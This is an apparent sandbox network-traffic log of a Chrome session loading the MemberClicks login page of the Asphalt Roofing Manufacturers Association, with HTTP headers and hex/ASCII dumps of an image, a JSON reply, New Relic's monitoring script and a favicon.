2024-04-23 14:54:05 UTC	586	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:05 GMT Content-Type: image/png Content-Length: 3505 Connection: close Cf-Bgj: imgq:100,h2pri Cf-Polished: origSize=9338 Vary: Accept etag: "247a-5a29ea4b3da40" last-modified: Mon, 06 Apr 2020 12:45:35 GMT referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload x-frame-options: sameorigin CF-Cache-Status: REVALIDATED Expires: Tue, 23 Apr 2024 14:54:35 GMT Cache-Control: public, max-age=30 Accept-Ranges: bytes Server: cloudflare CF-RAY: 878eafd58eeb6765-ATL
2024-04-23 14:54:05 UTC	783	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2d 00 00 00 79 08 03 00 00 00 5b 55 87 89 00 00 00 ab 50 4c 54 45 ff ff ff e9 e8 e8 41 41 41 55 55 55 fe fe fe 71 71 71 d7 d7 d7 e9 e8 e7 c9 c6 c7 d8 d8 d8 32 32 32 41 41 42 8c 89 8a c9 a7 a4 b6 b8 ba ff fe ff d8 d7 d8 d7 d6 d7 e8 e7 e8 d7 d6 d6 c8 c6 c6 b6 b7 ba 9f 9e a1 a8 74 6d 75 22 17 96 57 51 68 0c 05 74 22 17 a8 74 6e c9 a8 a4 68 0e 05 74 20 17 25 25 25 4b 10 0e 18 18 18 56 56 56 42 42 42 ac ad b0 b7 b8 bb 8c 8a 8a 72 72 72 06 06 06 05 05 05 16 16 16 23 23 23 31 31 31 e8 e7 e7 8b 89 89 9e 9e a1 a6 a7 ab aa ac af ab ac af a7 a8 ac 9f 9f a2 b7 b8 ba c9 c6 c6 d8 d7 d7 18 ad 55 53 00 00 0c c1 49 44 41 54 78 da ec 9a d1 6e e3 36 10 45 39 09 b0 d6 16 e8 6b bb a6 ac 04 7d 69 8c c6 2d 0a 0c 87 9c ff Data Ascii: PNGIHDR-y[UPLTEAAAUUUqqq222AABtmu"WQht"tnht %%%KVVVBBBrrr###111USIDATxn6E9k}i-
2024-04-23 14:54:05 UTC	1369	IN	Data Raw: 13 02 33 00 bc b6 c6 a3 1b 31 0c 5a 59 68 5d 31 66 e4 fc 9a b7 4a 68 ad b5 6d 7f a4 53 66 df aa 45 4a 16 83 58 34 82 47 3f 06 fb 23 71 45 59 e5 0d 00 1d fd fb b4 6a 71 d1 65 45 56 8e f3 40 48 2a 23 53 8d f7 fb e3 fe 78 38 3e 25 72 01 7e 76 c8 66 35 74 66 ae 74 ab dc db 76 99 a9 46 c9 a2 1a 1c 7a bc 8f 47 b4 f8 94 27 34 03 ac a5 0c 49 77 42 ad 10 ae b7 a3 12 d5 a3 bc a7 59 3c 24 ba 1e b1 78 1d 65 2b 18 6b 6d fb b1 94 59 d4 a1 7d 91 f8 6d af 16 3b ea 25 36 1f 61 71 17 02 a6 7a 0c d6 0f d7 35 2c e6 6e cf c3 a3 7d 68 db c7 87 c7 78 16 be 25 8d 62 f1 b7 43 2f b1 6b 7a 89 f0 e6 98 79 31 b6 c2 ca b5 32 51 96 f8 4a e6 54 62 6a 54 62 91 45 b5 b8 e8 2c 34 0c 6b 86 cb fe 44 fc 61 27 3c a8 4a 11 49 9d 8a 04 03 b0 63 fe 68 61 b0 b7 76 61 e6 ec 67 69 17 5f 3f 98 df e5 Data Ascii: 31ZYh]1fJhmSfEJX4G?#qEYjqeEV@H*#Sx8>%r~vf5tftvFzG'4IwBY<$xe+kmY}m;%6aqz5,n}hx%bC/kzy12QJTbjTbE,4kDa'<JIchavagi_?
2024-04-23 14:54:05 UTC	1353	IN	Data Raw: 4d 46 f2 96 50 a2 45 fe 2e 47 11 13 2d 2d d2 7a 7d 0a df 12 57 58 e7 92 ab 69 82 8a dd 2a 59 9e 4c 68 35 49 65 8e 85 06 b2 60 2d 51 f6 5e 96 c7 2b 3f bb 65 27 79 c1 69 d6 8b 17 f5 85 3d bf 13 25 7e 1f 27 5a f4 7e 85 cb 3b 11 0a 39 d3 e8 0e e2 62 5a b7 27 5b 5a 5d 07 62 ee 5b 6d 15 88 8e 31 d6 59 e4 07 92 e5 27 1f 38 d7 5b 45 19 f4 ab b5 b5 a3 94 94 b8 dc 1a 6b f7 6f 68 8b 9f 3a 68 e2 10 93 5f 64 11 ca 21 11 2e 67 59 71 13 ad e9 9d b8 66 b0 c2 f4 3b b5 d6 1d 49 87 77 79 2d 4e b4 b8 26 bd 39 58 1e 93 48 48 22 72 9c 92 39 25 7f 33 d1 8a 55 6a fe a1 9e cb 7e 0e 30 f3 18 c5 24 23 c3 94 e5 33 b3 f8 24 48 4e f0 e2 85 b6 49 53 65 cf 3c 27 6d 39 a2 f5 ac 78 5a bc 65 a9 8c ee 20 ae 89 d6 58 ce 71 38 5e 3b 59 63 65 5c ad 35 d5 9b 04 90 6d c5 b1 37 d6 29 b1 6a 2c 39 Data Ascii: MFPE.G--z}WXi*YLh5Ie`-Q^+?e'yi=%~'Z~;9bZ'[Z]b[m1Y'8[Ekoh:h_d!.gYqf;Iwy-N&9XHH"r9%3Uj~0$#3$HNISe<'m9xZe Xq8^;Yce\5m7)j,9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
186	192.168.2.6	49940	104.17.140.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:05 UTC	525	OUT	GET /ui-login/v1/getOrgName HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:54:06 UTC	602	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:06 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff x-download-options: noopen access-control-allow-origin: * access-control-allow-methods: GET, POST, DELETE, PUT, OPTIONS access-control-allow-headers: Origin, Accept, Content-Type, X-Requested-With, X-CSRF-Token CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 878eafd7bbdb12ea-ATL
2024-04-23 14:54:06 UTC	120	IN	Data Raw: 37 32 0d 0a 7b 22 6f 72 67 49 64 22 3a 22 61 72 6d 61 31 22 2c 22 6e 61 6d 65 22 3a 22 41 73 70 68 61 6c 74 20 52 6f 6f 66 69 6e 67 20 4d 61 6e 75 66 61 63 74 75 72 65 72 73 20 41 73 73 6f 63 69 61 74 69 6f 6e 22 2c 22 73 65 72 76 69 63 65 49 64 22 3a 31 30 30 38 35 2c 22 64 6f 6d 61 69 6e 22 3a 22 6d 65 6d 62 65 72 63 6c 69 63 6b 73 2e 6e 65 74 22 7d 0d 0a Data Ascii: 72{"orgId":"arma1","name":"Asphalt Roofing Manufacturers Association","serviceId":10085,"domain":"memberclicks.net"}
2024-04-23 14:54:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
187	192.168.2.6	49941	162.247.243.39	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:06 UTC	591	OUT	GET /nr-full-1.257.0.min.js HTTP/1.1 Host: js-agent.newrelic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://arma1.memberclicks.net sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:06 UTC	801	IN	HTTP/1.1 200 OK Connection: close Content-Length: 93461 x-amz-id-2: gIH6C+POpi7po/HwzLAVq0FTtWxAEQNF0PNm7TW3HhmxMXV2ZVoSVH59JjDKLNTHnlLpf50xojg= x-amz-request-id: KP7E5KTSKN9Y1GWT Last-Modified: Fri, 19 Apr 2024 00:43:41 GMT ETag: "8cb0c39d4018510e98809063ac2ff1c7" x-amz-server-side-encryption: AES256 Cache-Control: public, max-age=31536000, stale-while-revalidate=86400, stale-if-error=86400 x-amz-version-id: 2BhrAM2qEpGRR38b5iNE7vLs2.jNQq1S Content-Type: application/javascript Server: AmazonS3 Access-Control-Allow-Origin: * Accept-Ranges: bytes Date: Tue, 23 Apr 2024 14:54:06 GMT Via: 1.1 varnish X-Served-By: cache-pdk-kfty2130070-PDK X-Cache: HIT X-Cache-Hits: 8 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Strict-Transport-Security: max-age=300
2024-04-23 14:54:06 UTC	1378	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 6e 72 2d 66 75 6c 6c 2d 31 2e 32 35 37 2e 30 2e 6d 69 6e 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 5b 22 77 65 62 70 61 63 6b 43 68 75 6e 6b 3a 4e 52 42 41 2d 31 2e 32 35 37 2e 30 2e 50 52 4f 44 22 5d 3d 73 65 6c 66 5b 22 77 65 62 70 61 63 6b 43 68 75 6e 6b 3a 4e 52 42 41 2d 31 2e 32 35 37 2e 30 2e 50 52 4f 44 22 5d 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 36 33 5d 2c 7b 39 31 33 39 3a 28 65 2c 74 2c 69 29 3d 3e 7b 6c 65 74 20 73 3b 69 2e 64 28 74 2c 7b 6d 3a 28 29 3d 3e 6e 7d 29 3b 63 6f 6e 73 74 20 72 3d 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 65 3d 3e 7b 73 3d 65 7d 29 29 Data Ascii: /! For license information please see nr-full-1.257.0.min.js.LICENSE.txt /"use strict";(self["webpackChunk:NRBA-1.257.0.PROD"]=self["webpackChunk:NRBA-1.257.0.PROD"]\|\|[]).push([[63],{9139:(e,t,i)=>{let s;i.d(t,{m:()=>n});const r=new Promise((e=>{s=e}))
2024-04-23 14:54:06 UTC	1378	IN	Data Raw: 64 7d 29 2c 21 69 29 72 65 74 75 72 6e 21 31 3b 63 6f 6e 73 74 20 74 3d 21 65 3f 2e 75 6e 6c 6f 61 64 26 26 69 3d 3d 3d 73 2e 42 65 3b 69 66 28 72 3d 74 68 69 73 2e 6f 70 74 73 2e 67 65 74 50 61 79 6c 6f 61 64 28 7b 72 65 74 72 79 3a 74 2c 6f 70 74 73 3a 65 7d 29 2c 21 72 29 72 65 74 75 72 6e 20 76 6f 69 64 28 74 68 69 73 2e 73 74 61 72 74 65 64 26 26 74 68 69 73 2e 73 63 68 65 64 75 6c 65 48 61 72 76 65 73 74 28 29 29 3b 72 3d 22 5b 6f 62 6a 65 63 74 20 41 72 72 61 79 5d 22 3d 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 72 29 3f 72 3a 5b 72 5d 2c 6e 2e 70 75 73 68 28 2e 2e 2e 72 29 7d 6c 65 74 20 61 3d 65 3d 3e 74 68 69 73 2e 68 61 72 76 65 73 74 2e 73 65 6e 64 58 28 65 29 3b 6e 2e 6c 65 6e 67 74 68 Data Ascii: d}),!i)return!1;const t=!e?.unload&&i===s.Be;if(r=this.opts.getPayload({retry:t,opts:e}),!r)return void(this.started&&this.scheduleHarvest());r="[object Array]"===Object.prototype.toString.call(r)?r:[r],n.push(...r)}let a=e=>this.harvest.sendX(e);n.length
2024-04-23 14:54:06 UTC	1378	IN	Data Raw: 74 65 78 74 2e 61 67 65 6e 74 49 64 65 6e 74 69 66 69 65 72 2c 22 68 61 72 76 65 73 74 2e 74 6f 6f 4d 61 6e 79 52 65 71 75 65 73 74 73 44 65 6c 61 79 22 29 7c 7c 36 30 2c 74 68 69 73 2e 6f 62 66 75 73 63 61 74 6f 72 3d 6e 65 77 20 75 2e 52 52 28 74 68 69 73 2e 73 68 61 72 65 64 43 6f 6e 74 65 78 74 29 2c 74 68 69 73 2e 5f 65 76 65 6e 74 73 3d 7b 7d 7d 73 65 6e 64 58 28 29 7b 6c 65 74 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 7b 7d 3b 63 6f 6e 73 74 20 74 3d 6e 2e 71 44 28 7b 69 73 46 69 6e 61 6c 48 61 72 76 65 73 74 3a 65 2e 6f 70 74 73 3f 2e 75 6e 6c 6f 61 64 7d 29 2c 69 3d 7b 72 65 74 72 79 3a 21 65 2e 6f 70 74 73 3f 2e 75 Data Ascii: text.agentIdentifier,"harvest.tooManyRequestsDelay")\|\|60,this.obfuscator=new u.RR(this.sharedContext),this._events={}}sendX(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const t=n.qD({isFinalHarvest:e.opts?.unload}),i={retry:!e.opts?.u
2024-04-23 14:54:06 UTC	1378	IN	Data Raw: 28 74 29 3a 22 22 3b 6c 65 74 20 52 3d 22 22 2e 63 6f 6e 63 61 74 28 77 2c 22 3a 2f 2f 22 29 2e 63 6f 6e 63 61 74 28 41 29 2e 63 6f 6e 63 61 74 28 49 2c 22 2f 31 2f 22 29 2e 63 6f 6e 63 61 74 28 67 2e 6c 69 63 65 6e 73 65 4b 65 79 29 3b 64 26 26 28 52 3d 64 29 2c 6c 26 26 28 52 3d 22 22 2e 63 6f 6e 63 61 74 28 77 2c 22 3a 2f 2f 22 29 2e 63 6f 6e 63 61 74 28 41 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 29 29 3b 63 6f 6e 73 74 20 45 3d 21 6c 26 26 66 3f 74 68 69 73 2e 62 61 73 65 51 75 65 72 79 53 74 72 69 6e 67 28 54 2c 74 29 3a 22 22 3b 6c 65 74 20 50 3d 28 30 2c 73 2e 6a 36 29 28 54 2c 79 2e 6d 61 78 42 79 74 65 73 29 3b 63 7c 7c 28 63 3d 6e 2e 71 44 28 7b 69 73 46 69 6e 61 6c 48 61 72 76 65 73 74 3a 61 2e 75 6e 6c 6f 61 64 7d 29 29 2c 22 22 3d 3d 3d 45 Data Ascii: (t):"";let R="".concat(w,"://").concat(A).concat(I,"/1/").concat(g.licenseKey);d&&(R=d),l&&(R="".concat(w,"://").concat(A,"/").concat(t));const E=!l&&f?this.baseQueryString(T,t):"";let P=(0,s.j6)(T,y.maxBytes);c\|\|(c=n.qD({isFinalHarvest:a.unload})),""===E
2024-04-23 14:54:06 UTC	1378	IN	Data Raw: 6c 64 4f 62 66 75 73 63 61 74 65 28 29 3f 74 68 69 73 2e 6f 62 66 75 73 63 61 74 6f 72 2e 6f 62 66 75 73 63 61 74 65 53 74 72 69 6e 67 28 6e 29 3a 6e 2c 75 3d 31 3d 3d 3d 69 3f 2e 73 65 73 73 69 6f 6e 3f 2e 73 74 61 74 65 2e 73 65 73 73 69 6f 6e 52 65 70 6c 61 79 4d 6f 64 65 26 26 22 6a 73 65 72 72 6f 72 73 22 21 3d 3d 74 2c 64 3d 5b 22 61 3d 22 2b 72 2e 61 70 70 6c 69 63 61 74 69 6f 6e 49 44 2c 28 30 2c 73 2e 77 75 29 28 22 73 61 22 2c 72 2e 73 61 3f 22 22 2b 72 2e 73 61 3a 22 22 29 2c 28 30 2c 73 2e 77 75 29 28 22 76 22 2c 66 2e 71 34 29 2c 62 28 72 29 2c 28 30 2c 73 2e 77 75 29 28 22 63 74 22 2c 69 2e 63 75 73 74 6f 6d 54 72 61 6e 73 61 63 74 69 6f 6e 29 2c 22 26 72 73 74 3d 22 2b 28 30 2c 67 2e 7a 29 28 29 2c 22 26 63 6b 3d 30 22 2c 22 26 73 3d 22 2b Data Ascii: ldObfuscate()?this.obfuscator.obfuscateString(n):n,u=1===i?.session?.state.sessionReplayMode&&"jserrors"!==t,d=["a="+r.applicationID,(0,s.wu)("sa",r.sa?""+r.sa:""),(0,s.wu)("v",f.q4),b(r),(0,s.wu)("ct",i.customTransaction),"&rst="+(0,g.z)(),"&ck=0","&s="+
2024-04-23 14:54:06 UTC	1378	IN	Data Raw: 72 6e 20 65 7c 7c 30 3d 3d 3d 65 7c 7c 22 22 3d 3d 3d 65 3f 74 28 65 29 2b 28 69 3f 22 2c 22 3a 22 22 29 3a 22 21 22 7d 66 75 6e 63 74 69 6f 6e 20 68 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3f 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 2e 74 6f 53 74 72 69 6e 67 28 33 36 29 3a 76 6f 69 64 20 30 3d 3d 3d 65 7c 7c 30 3d 3d 3d 65 3f 22 22 3a 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 2e 74 6f 53 74 72 69 6e 67 28 33 36 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b 76 61 72 20 74 3d 4f 62 6a 65 63 74 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 63 72 65 61 74 65 22 29 3f 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 6e 75 6c 6c 29 3a 7b 7d 2c 69 3d 30 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 73 29 7b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 73 7c 7c 22 22 Data Ascii: rn e\|\|0===e\|\|""===e?t(e)+(i?",":""):"!"}function h(e,t){return t?Math.floor(e).toString(36):void 0===e\|\|0===e?"":Math.floor(e).toString(36)}function u(e){var t=Object.hasOwnProperty("create")?Object.create(null):{},i=0;return function(s){if(void 0===s\|\|""
2024-04-23 14:54:06 UTC	1378	IN	Data Raw: 75 2b 73 5d 2c 69 2c 22 72 70 22 2c 66 29 2c 67 28 74 5b 75 2b 72 5d 2c 69 2c 22 72 70 65 22 2c 66 29 2c 67 28 74 2e 64 6f 6d 4c 6f 61 64 69 6e 67 2c 69 2c 22 64 6c 22 2c 66 29 2c 67 28 74 2e 64 6f 6d 49 6e 74 65 72 61 63 74 69 76 65 2c 69 2c 22 64 69 22 2c 66 29 2c 67 28 74 5b 6c 2b 73 5d 2c 69 2c 22 64 73 22 2c 66 29 2c 67 28 74 5b 6c 2b 72 5d 2c 69 2c 22 64 65 22 2c 66 29 2c 67 28 74 2e 64 6f 6d 43 6f 6d 70 6c 65 74 65 2c 69 2c 22 64 63 22 2c 66 29 2c 67 28 74 5b 64 2b 73 5d 2c 69 2c 22 6c 22 2c 66 29 2c 67 28 74 5b 64 2b 72 5d 2c 69 2c 22 6c 65 22 2c 66 29 2c 69 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 74 29 7b 76 61 72 20 69 3b 72 65 74 75 72 6e 20 67 28 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 28 69 3d 65 2e 74 79 70 65 29 3f 69 3a 7b 6e 61 Data Ascii: u+s],i,"rp",f),g(t[u+r],i,"rpe",f),g(t.domLoading,i,"dl",f),g(t.domInteractive,i,"di",f),g(t[l+s],i,"ds",f),g(t[l+r],i,"de",f),g(t.domComplete,i,"dc",f),g(t[d+s],i,"l",f),g(t[d+r],i,"le",f),i}function m(e,t){var i;return g("number"==typeof(i=e.type)?i:{na
2024-04-23 14:54:06 UTC	1378	IN	Data Raw: 72 72 61 79 28 73 29 26 26 73 2e 6c 65 6e 67 74 68 29 7b 66 6f 72 28 69 2b 3d 39 2c 6f 3d 30 3b 6f 3c 73 2e 6c 65 6e 67 74 68 26 26 28 61 3d 68 28 28 30 2c 72 2e 50 29 28 73 5b 6f 5d 29 29 2c 69 2b 3d 61 2e 6c 65 6e 67 74 68 2c 21 28 76 6f 69 64 20 30 21 3d 3d 74 26 26 69 3e 3d 74 29 29 3b 6f 2b 2b 29 63 2e 70 75 73 68 28 61 29 3b 6e 2b 3d 22 26 22 2b 65 2b 22 3d 25 35 42 22 2b 63 2e 6a 6f 69 6e 28 22 2c 22 29 2b 22 25 35 44 22 7d 7d 29 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 64 28 65 2c 74 29 7b 6c 65 74 20 69 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 32 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 32 5d 3a 7b 7d 3b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 6b 65 79 73 28 69 29 2e 69 6e Data Ascii: rray(s)&&s.length){for(i+=9,o=0;o<s.length&&(a=h((0,r.P)(s[o])),i+=a.length,!(void 0!==t&&i>=t));o++)c.push(a);n+="&"+e+"=%5B"+c.join(",")+"%5D"}})),n}function d(e,t){let i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};return Object.keys(i).in
2024-04-23 14:54:06 UTC	1378	IN	Data Raw: 72 65 70 6c 61 63 65 6d 65 6e 74 20 72 75 6c 65 20 63 6f 6e 74 61 69 6e 73 20 61 20 22 72 65 70 6c 61 63 65 6d 65 6e 74 22 20 76 61 6c 75 65 20 77 69 74 68 20 61 6e 20 69 6e 76 61 6c 69 64 20 74 79 70 65 20 28 6d 75 73 74 20 62 65 20 61 20 73 74 72 69 6e 67 29 27 29 2c 74 3d 21 30 29 7d 72 65 74 75 72 6e 21 74 26 26 21 69 7d 7d 2c 34 32 34 37 3a 28 65 2c 74 2c 69 29 3d 3e 7b 69 2e 64 28 74 2c 7b 42 65 3a 28 29 3d 3e 6e 2c 71 44 3a 28 29 3d 3e 72 7d 29 3b 76 61 72 20 73 3d 69 28 33 38 35 29 3b 66 75 6e 63 74 69 6f 6e 20 72 28 29 7b 6c 65 74 7b 69 73 46 69 6e 61 6c 48 61 72 76 65 73 74 3a 65 3d 21 31 7d 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 Data Ascii: replacement rule contains a "replacement" value with an invalid type (must be a string)'),t=!0)}return!t&&!i}},4247:(e,t,i)=>{i.d(t,{Be:()=>n,qD:()=>r});var s=i(385);function r(){let{isFinalHarvest:e=!1}=arguments.length>0&&void 0!==arguments[0]?arguments
2024-04-23 14:54:06 UTC	1378	IN	Data Raw: 6c 6f 61 64 53 74 61 74 65 3a 69 2e 6c 6f 61 64 53 74 61 74 65 7d 3b 61 2e 75 70 64 61 74 65 28 7b 76 61 6c 75 65 3a 74 2c 61 74 74 72 73 3a 73 7d 29 7d 29 29 7d 2c 38 33 37 33 3a 28 65 2c 74 2c 69 29 3d 3e 7b 69 2e 64 28 74 2c 7b 55 3a 28 29 3d 3e 6e 7d 29 3b 76 61 72 20 73 3d 69 28 33 38 35 29 2c 72 3d 69 28 38 31 35 38 29 3b 63 6f 6e 73 74 20 6e 3d 6e 65 77 28 69 28 32 30 39 34 29 2e 55 29 28 72 2e 53 2e 46 49 52 53 54 5f 50 41 49 4e 54 29 3b 69 66 28 73 2e 69 6c 29 7b 63 6f 6e 73 74 20 65 3d 65 3d 3e 7b 65 2e 66 6f 72 45 61 63 68 28 28 65 3d 3e 7b 22 66 69 72 73 74 2d 70 61 69 6e 74 22 21 3d 3d 65 2e 6e 61 6d 65 7c 7c 6e 2e 69 73 56 61 6c 69 64 7c 7c 28 74 2e 64 69 73 63 6f 6e 6e 65 63 74 28 29 2c 6e 2e 75 70 64 61 74 65 28 7b 76 61 6c 75 65 3a 65 2e Data Ascii: loadState:i.loadState};a.update({value:t,attrs:s})}))},8373:(e,t,i)=>{i.d(t,{U:()=>n});var s=i(385),r=i(8158);const n=new(i(2094).U)(r.S.FIRST_PAINT);if(s.il){const e=e=>{e.forEach((e=>{"first-paint"!==e.name\|\|n.isValid\|\|(t.disconnect(),n.update({value:e.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
188	192.168.2.6	49942	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:06 UTC	784	OUT	GET /templates/buckhead-jt/favicon.ico HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:54:06 UTC	530	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:06 GMT Content-Type: image/vnd.microsoft.icon Content-Length: 5430 Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Mon, 02 Dec 2019 15:37:40 GMT etag: "1536-598ba5c1ab738" x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:54:06 GMT Cache-Control: public, max-age=3600 Accept-Ranges: bytes Server: cloudflare CF-RAY: 878eafd95ae46776-ATL
2024-04-23 14:54:06 UTC	839	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 f2 0a 00 c4 f1 7c 00 c3 f1 ce 00 c3 f1 9f 00 c5 f3 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 f3 32 00 c3 f1 d9 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 f4 00 c4 f2 63 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 f1 5b 00 c3 f1 f6 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f2 99 00 Data Ascii: h& ( \| 2c[
2024-04-23 14:54:06 UTC	1369	IN	Data Raw: c2 6b ff 4b c4 6c 4a df a2 00 e0 df a2 00 ff df a2 00 ff df a2 00 ff df a2 00 ff e0 a2 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4a c2 6b e0 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4c c3 6c 2d e0 a2 00 45 df a2 00 ec df a2 00 ff df a2 00 ff df a2 00 ff e0 a2 00 94 e1 a4 00 24 00 00 00 00 4f c3 70 11 4b c3 6c 63 4a c2 6b f1 4a c2 6b ff 4a c2 6b ff 4a c2 6b fc 4a c2 6c 82 00 00 00 00 00 00 00 00 e0 a5 00 12 e0 a3 00 83 df a2 00 eb df a2 00 ff df a2 00 ff df a2 00 fd e3 a4 00 1b 4a c2 6b cc 4a c2 6b ff 4a c2 6b ff 4a c2 6b fa 4b c3 6c a6 4b c3 6c 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e3 aa 00 07 df a3 00 55 df a2 00 af df a3 00 df e8 a2 00 03 4a c2 6c 9b 4a c2 6b c9 4b c3 6b 70 4d c3 6f 16 00 00 00 00 00 00 00 00 Data Ascii: kKlJ2JkJkJkJkJkLl-E$OpKlcJkJkJkJkJlJkJkJkJkKlKl-UJlJkKkpMo
